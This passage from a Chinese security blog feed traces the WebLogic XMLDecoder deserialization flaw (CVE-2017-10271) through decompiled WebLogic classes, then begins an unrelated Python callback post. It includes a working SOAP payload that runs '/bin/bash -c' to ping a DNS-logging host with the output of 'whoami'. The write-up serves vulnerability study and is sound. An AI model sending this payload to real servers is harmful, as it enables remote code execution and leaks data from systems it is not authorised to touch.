title="WorkContentServerTube.class"></a>WorkContentServerTube.class</h3><p><img src="/2017/12/29/weblogic-XMLDecoder/WorkContextServerTube.png" alt="WorkContentServerTube.class"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> NextAction <span class="title">processRequest</span><span class="params">(Packet var1)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">this</span>.isUseOldFormat = <span class="keyword">false</span>;</span><br><span class="line">    <span class="keyword">if</span> (var1.getMessage() != <span class="keyword">null</span>) &#123;</span><br><span class="line">        HeaderList var2 = var1.getMessage().getHeaders();</span><br><span class="line">        Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, <span class="keyword">true</span>);</span><br><span class="line">        <span class="keyword">if</span> (var3 != <span class="keyword">null</span>) &#123;</span><br><span class="line">            <span class="keyword">this</span>.readHeaderOld(var3);</span><br><span class="line">            <span class="keyword">this</span>.isUseOldFormat = <span class="keyword">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        Header var4 = var2.get(<span class="keyword">this</span>.JAX_WS_WORK_AREA_HEADER, <span class="keyword">true</span>);</span><br><span class="line">        <span class="keyword">if</span> (var4 != <span class="keyword">null</span>) &#123;</span><br><span class="line">            <span class="keyword">this</span>.readHeader(var4);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">super</span>.processRequest(var1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将var3传递给readHeaderOld(var3)，继续跟进readHeaderOld。<br>var1的值:<br><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">com.sun.xml.ws.api.message.Packet@<span class="number">4419</span>bacb Content: &lt;?xml version=<span class="string">'1.0'</span> encoding=<span class="string">'UTF-8'</span>?&gt;&lt;soapenv:Envelope xmlns:soapenv=<span class="string">"http://schemas.xmlsoap.org/soap/envelope/"</span>&gt;&lt;soapenv:Header&gt;&lt;work:WorkContext xmlns:work=<span class="string">"http://bea.com/2004/06/soap/workarea/"</span> xmlns:soapenv=<span class="string">"http://schemas.xmlsoap.org/soap/envelope/"</span>&gt;</span><br><span class="line"> &lt;java version=<span class="string">"1.8.0_131"</span> <span class="class"><span class="keyword">class</span></span>=<span class="string">"java.beans.XMLDecoder"</span>&gt;</span><br><span class="line"> &lt;<span class="keyword">void</span> <span class="class"><span class="keyword">class</span></span>=<span class="string">"java.lang.ProcessBuilder"</span>&gt;</span><br><span class="line"> &lt;array <span class="class"><span class="keyword">class</span></span>=<span class="string">"java.lang.String"</span> length=<span class="string">"3"</span>&gt;</span><br><span class="line"> &lt;<span class="keyword">void</span> index=<span class="string">"0"</span>&gt;</span><br><span class="line"> &lt;string&gt;/bin/bash&lt;/string&gt;</span><br><span class="line"> &lt;/void&gt;</span><br><span class="line"> &lt;<span class="keyword">void</span> index=<span class="string">"1"</span>&gt;</span><br><span class="line"> &lt;string&gt;-c&lt;/string&gt;</span><br><span class="line"> &lt;/void&gt;</span><br><span class="line"> &lt;<span class="keyword">void</span> index=<span class="string">"2"</span>&gt;</span><br><span class="line"> &lt;string&gt;ping `whoami`.7153b738c41fxxxxxxaadf9dbd46.tu4.org&lt;/string&gt;</span><br><span class="line"> &lt;/void&gt;</span><br><span class="line"> &lt;/array&gt;</span><br><span class="line"> &lt;void method="start"/&gt;&lt;/void&gt;</span><br><span class="line"> &lt;/java&gt;</span><br><span class="line"> &lt;/work:WorkContext&gt;&lt;/soapenv:Header&gt;&lt;soapenv:Body/&gt;&lt;/soapenv:Envelope&gt;</span><br></pre></td></tr></table></figure></p><p><img src="/2017/12/29/weblogic-XMLDecoder/var1.png" alt="weblogic反序列化漏洞变量值"></p><h3 id="WorkContextTube-class"><a href="#WorkContextTube-class" class="headerlink" title="WorkContextTube.class"></a>WorkContextTube.class</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">readHeaderOld</span><span class="params">(Header var1)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        XMLStreamReader var2 = var1.readHeader();</span><br><span class="line">        var2.nextTag();</span><br><span class="line">        var2.nextTag();</span><br><span class="line">        XMLStreamReaderToXMLStreamWriter var3 = <span class="keyword">new</span> XMLStreamReaderToXMLStreamWriter();</span><br><span class="line">        ByteArrayOutputStream var4 = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line">        XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);</span><br><span class="line">        var3.bridge(var2, var5);</span><br><span class="line">        var5.close();</span><br><span class="line">        WorkContextXmlInputAdapter var6 = <span class="keyword">new</span> WorkContextXmlInputAdapter(<span class="keyword">new</span> ByteArrayInputStream(var4.toByteArray()));</span><br><span class="line">        <span class="keyword">this</span>.receive(var6);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (XMLStreamException var7) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> WebServiceException(var7);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException var8) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> WebServiceException(var8);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2017/12/29/weblogic-XMLDecoder/readHeaderOld.png" alt="readHeaderOld.class"></p><blockquote><p>基础知识拓展：<br>ByteArrayInputStream的用法：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">InputStream</span><br><span class="line">|__ ByteArrayInputStream</span><br><span class="line"></span><br><span class="line">OutputStream</span><br><span class="line">|__ ByteArrayOutputStream</span><br></pre></td></tr></table></figure></p><p>ByteArrayInputStream可以将字节数组转化为输入流。ByteArrayOutputStream可以捕获内存缓冲区的数据，转化成字节数组。</p><p>构造函数：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">public ByteArrayInputStream(byte buf[])</span><br><span class="line"></span><br><span class="line">public ByteArrayInputStream(byte buf[], int offset, int length)</span><br></pre></td></tr></table></figure></p><p>注意它需要提供一个byte数组作为缓冲区。</p></blockquote><p>我们通过idea代码窗口内可以看到各个变量在调试运行后的值，var4的值就是接收poc的xml，在<br><code>WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));</code><br>中，要创建WorkContextXmlInputAdapter的实例var6, 则var4.toByteArray()先转换成字节数组，传入ByteArrayInputStream转换成输入流，跟进WorkContextXmlInputAdapter，在WorkContextXmlInputAdapter.class内，WorkContextXmlInputAdapter接收输入流，并将输入流转换成XMLDecoder对象，这时如果再调用XMLDecoder的readObject()方法对其进行反序列化即可造成命令执行。其实在<code>this.receive(var6);</code>中，进行了多层调用最终到达readObject，下面会省略过多无关调试，记录xml反序列化相关：</p><p><strong><em>下面是对WorkContextXmlInputAdapter和创建xml反序列化对象后如何执行的readObject方法造成rce的代码跟踪</em></strong></p><h3 id="WorkContextXmlInputAdapter-class"><a href="#WorkContextXmlInputAdapter-class" class="headerlink" title="WorkContextXmlInputAdapter.class"></a>WorkContextXmlInputAdapter.class</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by Fernflower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> weblogic.wsee.workarea;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.beans.XMLDecoder;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.NotSerializableException;</span><br><span class="line"><span class="keyword">import</span> weblogic.workarea.WorkContext;</span><br><span class="line"><span class="keyword">import</span> weblogic.workarea.WorkContextInput;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">WorkContextXmlInputAdapter</span> <span class="keyword">implements</span> <span class="title">WorkContextInput</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> XMLDecoder xmlDecoder;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">WorkContextXmlInputAdapter</span><span class="params">(InputStream var1)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">this</span>.xmlDecoder = <span class="keyword">new</span> XMLDecoder(var1); <span class="comment">// WorkContextXmlInputAdapter构造函数，将输入流转换成XMLDecoder反序列化对象</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">WorkContextXmlInputAdapter</span><span class="params">(XMLDecoder var1)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">this</span>.xmlDecoder = var1;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">readASCII</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (String)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> WorkContext <span class="title">readContext</span><span class="params">()</span> <span class="keyword">throws</span> IOException, ClassNotFoundException </span>&#123;</span><br><span class="line">        Class var1 = Class.forName(<span class="keyword">this</span>.readASCII());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            WorkContext var2 = (WorkContext)var1.newInstance();</span><br><span class="line">            var2.readContext(<span class="keyword">this</span>);</span><br><span class="line">            <span class="keyword">return</span> var2;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InstantiationException var3) &#123;</span><br><span class="line">            <span class="keyword">throw</span> (IOException)(<span class="keyword">new</span> NotSerializableException(<span class="string">"WorkContext must have a public no-arg constructor"</span>)).initCause(var3);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IllegalAccessException var4) &#123;</span><br><span class="line">            <span class="keyword">throw</span> (IOException)(<span class="keyword">new</span> NotSerializableException(<span class="string">"WorkContext must have a public no-arg constructor"</span>)).initCause(var4);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">readFully</span><span class="params">(<span class="keyword">byte</span>[] var1)</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">byte</span>[] var2 = (<span class="keyword">byte</span>[])((<span class="keyword">byte</span>[])<span class="keyword">this</span>.xmlDecoder.readObject());</span><br><span class="line">        System.arraycopy(var2, <span class="number">0</span>, var1, <span class="number">0</span>, var2.length);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">readFully</span><span class="params">(<span class="keyword">byte</span>[] var1, <span class="keyword">int</span> var2, <span class="keyword">int</span> var3)</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">byte</span>[] var4 = (<span class="keyword">byte</span>[])((<span class="keyword">byte</span>[])<span class="keyword">this</span>.xmlDecoder.readObject());</span><br><span class="line">        System.arraycopy(var4, <span class="number">0</span>, var1, var2, var3);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">skipBytes</span><span class="params">(<span class="keyword">int</span> var1)</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> UnsupportedOperationException();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">readBoolean</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Boolean)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">byte</span> <span class="title">readByte</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Byte)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">readUnsignedByte</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Integer)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">short</span> <span class="title">readShort</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Short)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">readUnsignedShort</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Integer)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">char</span> <span class="title">readChar</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Character)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">readInt</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Integer)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">long</span> <span class="title">readLong</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Long)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">float</span> <span class="title">readFloat</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Float)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">double</span> <span class="title">readDouble</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (Double)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">readLine</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (String)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">readUTF</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> (String)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] var0)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">        XMLDecoder var1 = <span class="keyword">new</span> XMLDecoder(<span class="keyword">new</span> FileInputStream(var0[<span class="number">0</span>]));</span><br><span class="line">        WorkContextXmlInputAdapter var2 = <span class="keyword">new</span> WorkContextXmlInputAdapter(var1);</span><br><span class="line">        System.out.println(var2.readASCII());</span><br><span class="line">        System.out.println(var2.readInt());</span><br><span class="line">        <span class="keyword">byte</span>[] var3 = <span class="keyword">new</span> <span class="keyword">byte</span>[<span class="number">20</span>];</span><br><span class="line">        var2.readFully(var3);</span><br><span class="line">        System.out.println(var3);</span><br><span class="line">        System.out.println(var2.readBoolean());</span><br><span class="line">        System.out.println(var2.readByte());</span><br><span class="line">        System.out.println(var2.readShort());</span><br><span class="line">        System.out.println(var2.readChar());</span><br><span class="line">        System.out.println(var2.readInt());</span><br><span class="line">        System.out.println(var2.readLong());</span><br><span class="line">        System.out.println(var2.readFloat());</span><br><span class="line">        System.out.println(var2.readDouble());</span><br><span class="line">        System.out.println(var2.readUTF());</span><br><span class="line">        System.out.println(var2.readUTF());</span><br><span class="line">        System.out.println(var2.readUTF());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>WorkContextXmlInputAdapter-&gt;new XMLDecoder(var1)</p><h3 id="WorkContextEntrylmpl-class"><a href="#WorkContextEntrylmpl-class" class="headerlink" title="WorkContextEntrylmpl.class"></a>WorkContextEntrylmpl.class</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> WorkContextEntry <span class="title">readEntry</span><span class="params">(WorkContextInput var0)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException </span>&#123;</span><br><span class="line">    String var1 = var0.readUTF();</span><br><span class="line">    <span class="keyword">return</span> (WorkContextEntry)(var1.length() == <span class="number">0</span> ? NULL_CONTEXT : <span class="keyword">new</span> WorkContextEntryImpl(var1, var0));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>第72行，readUTF()</p><h3 id="WorkContextXmlInputAdapter-class-1"><a href="#WorkContextXmlInputAdapter-class-1" class="headerlink" title="WorkContextXmlInputAdapter.class"></a>WorkContextXmlInputAdapter.class</h3><p>第103行</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">readUTF</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> (String)<span class="keyword">this</span>.xmlDecoder.readObject();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/2017/12/29/weblogic-XMLDecoder/readUTF.png" alt="readUTF"></p><p>当WorkContextEntrylmpl.class中的readUTF执行完成之后，返回反序列化的字符串，rce也执行完成！</p><p><img src="/2017/12/29/weblogic-XMLDecoder/weblogic-rce-fi.png" alt="weblogic-rce-fi"></p><h2 id="weglogic-log"><a href="#weglogic-log" class="headerlink" title="weglogic log:"></a>weglogic log:</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/logs</span><br></pre></td></tr></table></figure><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p>&nbsp;&nbsp;xxlegend: <a href="http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/" title="Weblogic XMLDecoder RCE分析" target="_blank" rel="noopener">Weblogic XMLDecoder RCE分析</a><br>&nbsp;&nbsp;Tomato: <a href="https://bl4ck.in/vulnerability/analysis/2017/12/22/WebLogic-WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html" title="WebLogic-WLS-WebServices组件反序列化漏洞分析" target="_blank" rel="noopener">WebLogic WLS-WebServices组件反序列化漏洞分析</a><br>&nbsp;&nbsp;童话：<a href="https://zhuanlan.zhihu.com/p/32301092" title="CVE-2017-3506 &amp; 10271：Weblogic 远程代码执行漏洞分析及复现笔记" target="_blank" rel="noopener">CVE-2017-3506 &amp; 10271：Weblogic 远程代码执行漏洞分析及复现笔记</a><br>&nbsp;&nbsp;漏洞环境：<a href="https://vulhub.org/" title="Vulhub" target="_blank" rel="noopener">Vulhub</a></p><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>由于业务发展需要对java知识栈进行学习，而本人对java的熟悉程度，仅限于大学课堂java逃课的水平，非常感谢廖新喜和Tomato的指点，包括idea远程调试docker内的weblogic、weblogic的关键目录结构和jar包、jd-gui。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;XMLDecoder反序列化漏洞&quot;&gt;&lt;a href=&quot;#XMLDecoder反序列化漏洞&quot; class=&quot;headerlink&quot; title=&quot;XMLDecoder反序列化漏洞&quot;&gt;&lt;/a&gt;XMLDecoder反序列化漏洞&lt;/h2&gt;&lt;p&gt;老外的详细利用文章：&lt;a h
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="安全分析" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90/"/>
    
      <category term="CVE-2017-10271" scheme="http://pirogue.org/tags/CVE-2017-10271/"/>
    
      <category term="java反序列化" scheme="http://pirogue.org/tags/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
      <category term="weblogic反序列化漏洞" scheme="http://pirogue.org/tags/weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/"/>
    
      <category term="XMLDecoder反序列化漏洞" scheme="http://pirogue.org/tags/XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/"/>
    
  </entry>
  
  <entry>
    <title>python回调函数中使用多线程</title>
    <link href="http://pirogue.org/2017/12/23/call_back_func/"/>
    <id>http://pirogue.org/2017/12/23/call_back_func/</id>
    <published>2017-12-23T06:53:52.000Z</published>
    <updated>2017-12-23T07:58:46.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="python回调函数demo"><a href="#python回调函数demo" class="headerlink" title="python回调函数demo"></a>python回调函数demo</h2><blockquote><p>下面的demo是根据需求写的简单测试脚本</p></blockquote><a id="more"></a><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 第一个列表为依赖组件和版本号，后面紧跟负责人名称</span></span><br><span class="line"><span class="comment"># 接着出现第二个依赖组件列表，负责人为空了</span></span><br><span class="line"><span class="comment"># 所以根据需求需要对组件、版本号、负责人进行不同处理</span></span><br><span class="line"><span class="comment"># 这时在for循环中根据if判断，写回调函数处理</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 格式不一致数据的测试数据</span></span><br><span class="line">a = [[<span class="string">u'tool-1'</span>, <span class="string">u'1.9.13'</span>], <span class="string">u'xiaowang'</span>, <span class="string">u'xiaoqu'</span>, [<span class="string">u'tool-2'</span>, <span class="string">u'1.9.23'</span>], [<span class="string">u'tool-3'</span>, <span class="string">u'1.9.33'</span>], [<span class="string">u'tool-4'</span>, <span class="string">u'1.9.43'</span>], <span class="string">u'pi'</span>,[<span class="string">u'tool-5'</span>, <span class="string">u'1.9.53'</span>]]</span><br><span class="line"><span class="comment"># a = [[u'tool-1', u'1.9.13'],u'xiaowang',[u'tool-2', u'1.9.23'],u'xiaowang', [u'tool-3', u'1.9.33'],u'xiaowang']</span></span><br><span class="line"><span class="comment"># a = [[u'tool-1', 